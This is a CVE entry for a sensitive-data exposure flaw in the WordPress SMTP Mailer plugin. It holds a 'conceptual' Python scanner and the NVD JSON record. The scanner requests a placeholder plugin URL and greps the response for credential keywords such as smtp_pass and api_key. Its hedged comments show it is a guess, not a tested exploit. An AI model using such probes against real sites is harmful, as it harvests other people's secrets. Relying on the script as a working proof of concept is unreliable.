CVE-2026-32538

# Conceptual PoC for CVE-2026-32538 # This script demonstrates checking for sensitive data leakage in email logs or headers. import requests def check_leak(url): # The vulnerability might expose data in debug headers or email content # Attacker sends a request that triggers an email or log generation headers = { "User-Agent": "CVE-2026-32538-Scanner" } try: response = requests.get(url, headers=headers, timeout=10) # Analyzing the response for potential sensitive keywords (e.g., smtp_pass, api_key) sensitive_keywords = ['smtp_pass', 'smtp_user', 'authorization', 'api_key'] for keyword in sensitive_keywords: if keyword in response.text.lower(): print(f"[!] Potential sensitive data leak detected: {keyword}") print(f"[!] Context: {response.text[:200]}...") return True print("[-] No obvious sensitive data found in direct response.") print("[*] Note: This vulnerability might require intercepting sent emails.") return False except Exception as e: print(f"[Error] Request failed: {e}") return False # Target example (replace with actual vulnerable endpoint) target = "http://vulnerable-site.com/wp-content/plugins/smtp-mailer/" check_leak(target)

{"cve": {"id": "CVE-2026-32538", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:07.570", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Noor Alam SMTP Mailer smtp-mailer allows Retrieve Embedded Sensitive Data.This issue affects SMTP Mailer: from n/a through <= 1.1.24."}, {"lang": "es", "value": "Inserción de información sensible en datos enviados vulnerabilidad en Noor Alam SMTP Mailer smtp-mailer permite recuperar datos sensibles incrustados. Este problema afecta a SMTP Mailer: desde n/a hasta &lt;= 1.1.24."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/smtp-mailer/vulnerability/wordpress-smtp-mailer-plugin-1-1-24-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}